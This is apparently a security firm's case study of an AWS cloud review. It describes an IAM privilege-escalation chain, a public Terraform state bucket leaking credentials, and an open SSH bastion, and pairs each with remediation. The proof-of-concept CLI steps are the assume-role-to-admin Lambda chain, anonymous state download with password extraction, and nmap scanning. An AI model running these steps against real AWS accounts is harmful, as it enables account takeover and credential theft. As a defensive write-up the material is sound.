Cloud Security Review Eliminating multi-account IAM privilege escalation, exposed Terraform state, and public jump-box exposure across a high-growth AWS serverless estate aligned to the CIS AWS Foundations Benchmark
Project Details
- Client
- Stratuscale is a fast-growing, venture-backed B2B SaaS analytics platform delivering real-time product telemetry to over 1,400 enterprise customers, running entirely on AWS across a fleet of serverless functions, 600+ S3 buckets, and managed Aurora and DynamoDB databases
- Industry
- SaaS / Data Analytics
- Company Size
- 180 - 240
- Headquarters
- Seattle, Washington
- Project Duration
- 1 month (Mar 2026 - Apr 2026)
A comprehensive cloud security architecture review of a high-growth, AWS-native SaaS analytics platform (Stratuscale Analytics). The engagement uncovered and remediated a multi-account IAM privilege escalation path via overly permissive assumed roles, a public S3 bucket exposing Terraform state files containing hardcoded secrets, and internet-facing EC2 jump boxes — re-architecting the estate around least privilege, AWS Secrets Manager, strict Security Group rules, and continuous CIS AWS Foundations Benchmark alignment.
Engagement Classification · TLP:AMBER
Project StratusGuard / AWS Cloud Review
Full-scope cloud security architecture review of a high-growth, AWS-native SaaS estate. 7 weeks, multi-account IAM analysis, storage and network configuration audit, and CIS AWS Foundations Benchmark alignment.
The Velocity-vs-Guardrails Problem
Nobody at Stratuscale made a bad decision. That is the hard part to explain to a board. A small founding team shipped a genuinely good product, customers arrived faster than the forecast, headcount tripled in nine months, and every new squad stood up its own AWS resources, IAM roles, and infrastructure-as-code pipelines to keep shipping. The features got the investment. The guardrails that are supposed to govern a multi-account estate did not — because guardrails are invisible right up until the moment they are the only thing that matters.
We call the result configuration drift under load. No single change is reckless; the damage is cumulative. A Developer role granted iam:PassRole “temporarily” for a demo, eighteen months ago. A state bucket set to public read to unblock a CI job on a Friday. A jump box opened to 0.0.0.0/0 during a 2 a.m. incident and never closed, because closing it was nobody’s ticket. Each one is locally reasonable and individually invisible. Stitched together, they are a direct path from an ordinary engineer’s laptop to full production admin.
Over seven weeks we reviewed the entire AWS Organisation, scored it against the CIS AWS Foundations Benchmark v3.0, and — the part that turned a routine review into an emergency call — proved that three of these drift artefacts chained into a complete, single-developer account takeover.
Technical Audit Snapshot
Cloud Audit Methodology
The review ran across four domains, each mapped to CIS AWS Foundations Benchmark sections and executed against every account in the Organisation — not a sampled subset. Sampling is where drift hides: the one workload account nobody reviews is invariably the one still running CloudTrail-disabled and world-open, precisely because it was never anyone’s priority.
IAM & Identity Policy Review
Enumerated every user, group, role, and trust policy across the Organization. Built a cross-account access graph to surface AssumeRole chains, wildcard actions, iam:PassRole grants, and inline policies that violate least privilege. Mapped to CIS Section 1 (Identity & Access Management).
Storage Configuration Audit
Inventoried all 600+ S3 buckets, EBS volumes, RDS/Aurora snapshots, and DynamoDB tables. Evaluated bucket policies, ACLs, Block Public Access settings, default encryption, and versioning. Hunted specifically for Terraform state, backups, and data lakes exposed to anonymous or cross-account principals. Mapped to CIS Section 2 (Storage).
Network Security Group Review
Analyzed every VPC, Security Group, NACL, route table, and internet/NAT gateway. Identified ingress rules open to 0.0.0.0/0 on sensitive ports (22, 3389, 5432, 6379), flat network designs, and jump boxes lacking session controls. Mapped to CIS Section 5 (Networking).
Secret Management Assessment
Audited how credentials, API keys, and database passwords flow through the estate — scanning IaC repositories, Lambda environment variables, EC2 user-data, and SSM parameters for hardcoded secrets, and evaluating adoption of AWS Secrets Manager and KMS. Mapped to CIS Sections 1 & 3 (Logging/Monitoring).
Target AWS Architecture
Stratuscale runs a multi-account AWS Organisation: a shared-services account fronting the platform, isolated workload accounts per environment, and a large serverless data plane behind API Gateway. The account boundaries look like isolation on the diagram. Two of the three critical findings came from places where that isolation was true on paper and false in practice — a trust policy that trusted an entire account, and a jump box on a flat VLAN with a route straight to the production database.
Load Balancer}:::edge ALB --> APIGW[API Gateway]:::edge APIGW -.-> Lambda[Lambda Fleet
140+ Functions]:::compute APIGW -.-> ECS[ECS Fargate
Services]:::compute Lambda --> Aurora[(Aurora
PostgreSQL)]:::datastore Lambda --> Dynamo[(DynamoDB
Telemetry)]:::datastore ECS --> S3[(S3 Data Lake
600+ Buckets)]:::datastore Internet --> Jump[EC2 Jump Box
22 open]:::untrusted Jump --> Aurora
SSH 22 open to 0.0.0.0/0]:::untrusted end subgraph Shared[" Shared-Services Account "] ALB{Application Load Balancer}:::edge APIGW[API Gateway
REST + WebSocket]:::edge end subgraph Workload[" Production Workload Account "] Lambda[Lambda Fleet
140+ Serverless Functions]:::compute ECS[ECS Fargate
Ingestion Services]:::compute end Internet --> ALB ALB --> APIGW APIGW -.invoke.-> Lambda APIGW -.invoke.-> ECS Lambda --> Aurora[(Aurora PostgreSQL
Customer Metadata)]:::datastore Lambda --> Dynamo[(DynamoDB
Real-time Telemetry)]:::datastore ECS --> S3[(S3 Data Lake
600+ Buckets)]:::datastore Internet --> Jump Jump -.flat VLAN.-> Aurora
CIS AWS Foundations Benchmark Compliance
We scored the estate against all five sections of the CIS AWS Foundations Benchmark v3.0 at kick-off and again after remediation. The gauges below show per-section compliance — the cyan arc is the post-remediation score, the faint track behind it is the pre-audit baseline. One caveat worth stating plainly: a CIS score measures conformance to a checklist, not safety. The IAM section sat at 41% not because 59% of checks failed at random, but because a single wildcard AssumeRole grant was the root of the worst finding in the report. Treat the number as a direction of travel, not a verdict — a 96% estate with one wildcard left in the wrong place is still one wildcard away from account takeover.
Section-by-Section CIS Compliance
327 automated controls · CIS AWS Foundations Benchmark v3.0
Vulnerability Classification Matrix
Each finding was scored with CVSS v3.1 and mapped to its corresponding CIS AWS Foundations Benchmark control. The scores are worth reading with the chain in mind: CS-AWS-001 rates 9.8 on its own, but its real severity is that it needs only valid developer credentials — the lowest bar of trust in the whole organisation — to reach full production admin.
Critical Finding CS-AWS-001 — Multi-Account IAM Privilege Escalation
This is the one that got escalated to the client’s VP mid-engagement. The standard Developer role in the sandbox account — the role every engineer holds on day one — carried two permissions that look harmless in isolation: a wildcard sts:AssumeRole and iam:PassRole. Neither is a finding on its own; plenty of estates grant both. The problem was what they pointed at. Chained against a CI deployment role that trusted the entire sandbox account, they let any developer walk from sandbox read/write to full administrator in the production workload account — no exploit, no malware, just AWS APIs used exactly as designed.
Privilege Escalation Path
← Swipe horizontally to view the full escalation chain →
The Vulnerable IAM Policy
The sandbox Developer permission policy below is the root enabler. The two lines that matter are the wildcard Resource: "*" under sts:AssumeRole and iam:PassRole — a grant that reads as “assume any role, pass any role,” which is a different and far larger permission than whoever wrote it intended.
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DeveloperBaseline",
"Effect": "Allow",
"Action": [
"sts:AssumeRole",
"iam:PassRole",
"lambda:CreateFunction",
"lambda:InvokeFunction"
],
"Resource": "*"
}
]
}
And the CI deploy role’s trust policy trusted the entire sandbox account — :root — rather than a specific CI principal. That single root in the trust policy is the difference between “our build system can assume this role” and “anyone with any identity in the sandbox account can”:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": { "AWS": "arn:aws:iam::111122223333:root" },
"Action": "sts:AssumeRole"
}
]
}
Attack Proof-of-Concept
# 1. Start as an ordinary developer in the sandbox account
aws sts get-caller-identity
# arn:aws:iam::111122223333:user/dev.contractor
# 2. Hop into the over-trusting CI deploy role (wildcard AssumeRole)
aws sts assume-role \
--role-arn arn:aws:iam::111122223333:role/ci-deploy-role \
--role-session-name privesc-poc > ci.json
export AWS_ACCESS_KEY_ID=$(jq -r .Credentials.AccessKeyId ci.json)
export AWS_SECRET_ACCESS_KEY=$(jq -r .Credentials.SecretAccessKey ci.json)
export AWS_SESSION_TOKEN=$(jq -r .Credentials.SessionToken ci.json)
# 3. Deploy a Lambda into production, passing the org-wide admin role
aws lambda create-function \
--function-name telemetry-shim \
--runtime python3.12 \
--role arn:aws:iam::444455556666:role/OrganizationAccountAccessRole \
--handler index.handler \
--zip-file fileb://payload.zip \
--region us-west-2
# 4. Invoke it — the function now executes with full production admin
aws lambda invoke --function-name telemetry-shim out.json
# => Effective control of the production workload account
Remediation — Least Privilege & Permission Boundaries
{
"Effect": "Allow",
"Action": [
"sts:AssumeRole",
"iam:PassRole"
],
"Resource": "*"
}{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Resource":
"arn:aws:iam::111122223333:role/dev-readonly",
"Condition": {
"StringEquals": { "aws:PrincipalTag/team": "data" },
"Bool": { "aws:MultiFactorAuthPresent": "true" }
}
}
// iam:PassRole removed; CI uses a dedicated
// OIDC role with an explicit permissions boundary.We collapsed the wildcard grants to specific role ARNs, attached an IAM permissions boundary that caps the maximum privilege any developer-created principal can ever hold — the control that makes iam:PassRole safe again, since a passed role cannot exceed the boundary — replaced the account-root trust on the CI role with a GitHub OIDC federation condition, and required MFA on every cross-account hop. CIS 1.16 and 1.17 moved from failing to passing. The honest cost: permission boundaries add a second policy every new role has to satisfy, and the first week after rollout produced a handful of confusing AccessDenied errors from roles that had been quietly relying on the old wildcard. That noise is the boundary working, not the boundary misconfigured — but it needs saying up front, because a team that is not warned will “fix” it by widening the boundary and undoing the whole thing.
Critical Finding CS-AWS-002 — Public S3 Bucket Exposing Terraform State
The storage audit’s anonymous-principal sweep flagged a bucket named stratuscale-tf-state-shared with Block Public Access disabled and a bucket policy granting s3:GetObject to *. The name is the whole story. It held the Terraform state for the shared-services account, and Terraform state is not a config file — it is a plaintext record of every resource attribute Terraform manages, including any secret ever passed through a variable. People who would never commit a password to Git will interpolate one into a Terraform variable without a second thought, not realising the value lands in state in cleartext and stays there.
Data Exposure Vector
← Swipe horizontally to view the full exfiltration flow →
Attack Proof-of-Concept
# No credentials required — bucket is world-readable
aws s3 ls s3://stratuscale-tf-state-shared/ --no-sign-request
# 2026-02-18 09:41:22 184213 env/prod/terraform.tfstate
aws s3 cp s3://stratuscale-tf-state-shared/env/prod/terraform.tfstate . \
--no-sign-request
# State files leak every resource attribute in plaintext
jq '.resources[] | select(.type=="aws_db_instance") | .instances[].attributes
| {endpoint, username, password}' terraform.tfstate
{
"endpoint": "stratuscale-prod.cluster-abc123.us-west-2.rds.amazonaws.com:5432",
"username": "stratus_admin",
"password": "Pr0d-Aurora-2025!"
}
A single anonymous GET — no credentials, no signed request, nothing that appears in an authentication log as anomalous — yielded live Aurora master credentials, a Datadog API key, and a Stripe secret key. All three had been interpolated into Terraform as plaintext variables and persisted into state. Worth sitting with: this was not a breach we had to work for. It was a public URL. Anyone who had ever guessed the bucket name, and bucket names following a company-tf-state convention are eminently guessable, held the same access we did.
Remediation — Lock the Bucket, Encrypt State, Vault the Secrets
Order matters here, and it is the opposite of what people reach for first. Locking the bucket does nothing for the credentials already exposed — those have to be treated as compromised the moment the bucket was public, so rotation came first: every leaked credential rotated before anything else, on the assumption they were already in someone’s collection. Then we enabled account-wide S3 Block Public Access, enforced default SSE-KMS encryption and versioning on the state bucket, and migrated the backend to a DynamoDB state lock. Finally, secrets moved out of Terraform variables into AWS Secrets Manager, referenced at apply time via data sources so the plaintext never touches state again. Rotate, then lock — not lock, then feel safe.
# Enforce Block Public Access at the account level (CIS 2.1.5)
aws s3control put-public-access-block \
--account-id 444455556666 \
--public-access-block-configuration \
BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true
# Default encryption + versioning on the state bucket (CIS 2.1.1)
aws s3api put-bucket-encryption --bucket stratuscale-tf-state-shared \
--server-side-encryption-configuration \
'{"Rules":[{"ApplyServerSideEncryptionByDefault":{"SSEAlgorithm":"aws:kms"}}]}'
aws s3api put-bucket-versioning --bucket stratuscale-tf-state-shared \
--versioning-configuration Status=Enabled
terraform {
backend "s3" {
bucket = "stratuscale-tf-state-shared"
key = "env/prod/terraform.tfstate"
region = "us-west-2"
# no encryption, no lock, bucket is public
}
}terraform {
backend "s3" {
bucket = "stratuscale-tf-state-shared"
key = "env/prod/terraform.tfstate"
region = "us-west-2"
encrypt = true
kms_key_id = "arn:aws:kms:us-west-2:...:key/state"
dynamodb_table = "tf-state-lock"
}
}Critical Finding CS-AWS-003 — Internet-Facing EC2 Jump Box
The network review surfaced a bastion-legacy EC2 instance whose Security Group allowed inbound SSH (22/tcp) from 0.0.0.0/0. An open SSH port on its own is a High, not a Critical — a well-patched OpenSSH facing the internet is exposed but not automatically owned. What made this one dangerous was where the host sat: on the flat production VLAN, with a route straight to the Aurora cluster. The bastion was not the target. It was the bridge — the one hop between the public internet and the customer database, on a network with no segmentation to slow anyone down once they were on it.
Network Exposure Vector
← Swipe horizontally to view the lateral-movement path →
# External scan confirms the exposed bastion
nmap -Pn -p22,3389,5432 -sV 203.0.113.88
# PORT STATE SERVICE VERSION
# 22/tcp open ssh OpenSSH 8.2 (Ubuntu) <-- open to the world
# 5432/tcp closed postgresql
{
"GroupName": "bastion-legacy-sg",
"IpPermissions": [
{
"IpProtocol": "tcp",
"FromPort": 22,
"ToPort": 22,
"IpRanges": [{ "CidrIp": "0.0.0.0/0", "Description": "ssh" }]
}
]
}
Remediation — Eliminate the Bastion with SSM Session Manager
Narrowing the CIDR to an office IP range is the tempting quick fix, and it is the wrong one — office IPs change, VPNs get shared, and you are left maintaining an allowlist that drifts out of date and quietly re-widens. So rather than narrow the rule, we deleted the pattern. Public SSH came off entirely, replaced with AWS Systems Manager Session Manager: IAM-gated, fully session-logged shell access brokered over the SSM API with zero open inbound ports. There is nothing to port-scan because there is nothing listening. The trade-off is a real dependency on the SSM agent and its IAM path, so break-glass access has to be designed for the day SSM itself is unavailable — but that is a far smaller and more auditable surface than a bastion open to the internet.
# Revoke the world-open SSH rule (CIS 5.2)
aws ec2 revoke-security-group-ingress \
--group-id sg-0bastionlegacy \
--protocol tcp --port 22 --cidr 0.0.0.0/0
# Access is now via Session Manager — no inbound ports, fully logged
aws ssm start-session --target i-0a1b2c3d4e5f
ingress {
from_port = 22
to_port = 22
protocol = "tcp"
cidr_blocks = ["0.0.0.0/0"]
}
# Anyone on the internet can reach SSH# No ingress rules at all.
# Shell access is brokered by SSM Session
# Manager over the SSM API — IAM-gated,
# session-logged, zero open ports.
egress {
from_port = 443; to_port = 443
protocol = "tcp"; cidr_blocks = ["0.0.0.0/0"]
}IAM Privilege Escalation Path Explorer
Step through the full cross-account kill chain interactively. Select a stage to light up the path and see the exact AWS API call, the misconfiguration it abused, and the outcome at that hop — from a single developer credential to total production control. Watch what is not in the log: no exploit, no CVE, no malware signature. Every call is a documented AWS API used as intended. That is why CloudTrail alone would not have flagged it as an attack — each step, read on its own, looks like an engineer doing their job.
aws sts get-caller-identity
# arn:aws:iam::111122223333:user/dev.contractorA standard developer identity in the sandbox account — read/write on sandbox resources, plus a wildcard sts:AssumeRole and iam:PassRole that nobody flagged at provisioning time.
aws sts assume-role \
--role-arn arn:aws:iam::111122223333:role/ci-deploy-role \
--role-session-name privesc-pocThe wildcard AssumeRole lets the developer step into the CI deploy role, whose trust policy trusts the entire account root rather than a scoped principal.
aws lambda create-function --function-name telemetry-shim \
--role arn:aws:iam::444455556666:role/OrganizationAccountAccessRole \
--runtime python3.12 --handler index.handler \
--zip-file fileb://payload.zip --region us-west-2iam:PassRole lets the CI role hand the org-wide admin role to a new Lambda in the production account — the function inherits administrative privileges on invoke.
aws lambda invoke --function-name telemetry-shim out.json
# Executes as OrganizationAccountAccessRole
# >>> ENGAGEMENT STOP — full prod admin provenInvoking the Lambda yields code execution with full production administrator rights — IAM, S3, RDS, and KMS across the workload account. Halted by prior agreement once proven.
IAM Role Risk Assessment
A focused scoring of the highest-blast-radius roles the identity review surfaced. “Blast radius” is the column that matters more than the risk label: a Medium role with s3:* on the data lake is worth more attention than a Critical one nobody can reach, because severity without reachability is just a number.
Vulnerable vs Secured Terraform
The same infrastructure, two ways. Toggle between the configuration that shipped during the growth sprint and the hardened equivalent we delivered. Nothing in the “vulnerable” column was written by someone careless — every line is a reasonable-looking default that a hurried engineer reaches for. acl = "public-read" unblocks a CI job in one line. cidr_blocks = ["0.0.0.0/0"] is what every SSH-ingress example on the internet shows. That is exactly why these defaults are dangerous: they are the path of least resistance, and least resistance is where drift accumulates.
# ⚠ Public state bucket, world-open SSH, wildcard IAM
resource "aws_s3_bucket" "tf_state" {
bucket = "stratuscale-tf-state-shared"
acl = "public-read" # CIS 2.1.5 FAIL
}
resource "aws_security_group" "bastion" {
ingress {
from_port = 22
to_port = 22
protocol = "tcp"
cidr_blocks = ["0.0.0.0/0"] # CIS 5.2 FAIL
}
}
resource "aws_iam_policy" "dev" {
policy = jsonencode({
Statement = [{
Effect = "Allow"
Action = ["sts:AssumeRole", "iam:PassRole"]
Resource = "*" # CIS 1.16 FAIL
}]
})
}
resource "aws_db_instance" "prod" {
password = "Pr0d-Aurora-2025!" # plaintext → leaks into state
}# ✓ Private + encrypted state, no public SSH, scoped IAM
resource "aws_s3_bucket" "tf_state" {
bucket = "stratuscale-tf-state-shared"
}
resource "aws_s3_bucket_public_access_block" "tf_state" {
bucket = aws_s3_bucket.tf_state.id
block_public_acls = true
block_public_policy = true
ignore_public_acls = true
restrict_public_buckets = true # CIS 2.1.5 PASS
}
resource "aws_security_group" "bastion" {
# No inbound 22 — access via SSM Session Manager (CIS 5.2 PASS)
}
resource "aws_iam_policy" "dev" {
policy = jsonencode({
Statement = [{
Effect = "Allow"
Action = "sts:AssumeRole"
Resource = aws_iam_role.dev_readonly.arn # CIS 1.16 PASS
Condition = { Bool = { "aws:MultiFactorAuthPresent" = "true" } }
}]
})
}
data "aws_secretsmanager_secret_version" "db" {
secret_id = "stratuscale/prod/aurora" # never in state
}
resource "aws_db_instance" "prod" {
password = data.aws_secretsmanager_secret_version.db.secret_string
}Continuous Cloud Posture Syncing
A point-in-time audit has a short shelf life. The estate we hardened over seven weeks starts drifting the moment the next sprint ships — that is not a failure of the fix, it is the nature of a system under active development. So beyond the fixes, we wired AWS Config and Security Hub to continuously re-evaluate every account against the CIS benchmark, streaming drift back to a single posture dashboard. The point is not the dashboard; it is that the next 0.0.0.0/0 gets caught in minutes by a machine, rather than in the next annual review by a consultant. The cost worth naming is real: Config and Security Hub bill per rule evaluation across eleven accounts, and left untuned they generate enough low-severity findings to bury the one that matters — so the alerting has to be prioritised, not just switched on.
AWS Config · Security Hub · Continuous CIS Sync
Side-by-Side Posture Replay
The same privilege-escalation attempt, replayed against the pre-audit estate and the hardened, boundaried build. The attacker’s actions are identical in both panes — the difference is entirely in what the estate does with them. On the left the APIs succeed in silence; on the right the permission boundary denies the PassRole and Security Hub raises a finding on the attempt itself, which is the part that matters: a blocked attack you can see beats a blocked attack you cannot.
Composite Cloud Risk Reduction
Estate-Wide Risk Score Velocity
Composite threat score across 11 AWS accounts over the 7-week engagement
Quantifiable Business Impact
Strategic Takeaways
Securing a fast-scaling, AWS-native estate is not a hunt for the one bad misconfiguration. It is the slower work of restoring the trust boundaries that velocity quietly erodes — and then building something that notices when they erode again.
- Privilege is a graph, not a list. Not one permission at Stratuscale looked alarming on its own; the danger lived entirely in the chain. Audit IAM as a reachability graph — who can assume what, pass which roles, and where that lands them across account boundaries — not as a checklist of individually reasonable grants. Wildcard
sts:AssumeRoleandiam:PassRoleare the two highest-leverage edges to cut, because they are the ones that turn a list into a graph. - Secrets must never enter Terraform state. State is a cleartext database of your infrastructure, not a config file — and people who would never commit a password put one in a Terraform variable every day. Reference secrets from AWS Secrets Manager at apply time, encrypt state with KMS, enable Block Public Access account-wide, and treat any public storage object as an incident, not a finding. And when one is found exposed, rotate before you lock: the exposure predates the discovery.
- Replace bastions, don’t just narrow them. SSM Session Manager removes the entire class of internet-facing jump-box risk and adds full session auditing. The trade-off — a hard dependency on the SSM agent and its IAM path, which forces you to design break-glass access for the day SSM is down — is smaller and far more auditable than a CIDR allowlist that silently re-widens every time someone’s IP changes.
- Make CIS continuous. A point-in-time score is decaying by the next sprint. Wiring AWS Config and Security Hub to re-evaluate the benchmark turns compliance from a quarterly scramble into a live, drift-aware signal — provided the alerting is tuned, because an untuned feed across eleven accounts buries the finding that matters under a hundred that do not.
Ready to secure your architecture?
Initiate a full cryptographic security review, IAM baseline audit, and penetration testing engagement for your organisation.
System Schema & Architecture
Curated diagrams, interface snapshots, and architectural blueprints illustrating our core technical approach and environment mapping.
Hear it straight from Stratuscale Analytics
“"We tripled our engineering headcount in nine months, and our AWS footprint grew faster than our guardrails. We suspected configuration drift but had no way to quantify it. The assessment team mapped a complete cross-account privilege escalation path from a single developer role to full production admin, found Terraform state with live secrets sitting in a public bucket, and handed us least-privilege policies and Terraform we could merge the same week. They turned a terrifying unknown into a measurable, CIS-aligned roadmap."
Terrill Feil
VP of Platform Engineering at Stratuscale Analytics
API Penetration Testing
Eliminating BOLA mass-data exposure, GraphQL introspection-driven rate-limit bypasses, and a blind SQL injection buried in an undocumented legacy logistics endpoint
Network Vulnerability Assessment & Pentesting
Securing a hybrid OT/IT manufacturing enterprise against external VPN compromise, LLMNR/NBT-NS poisoning, and full Active Directory domain takeover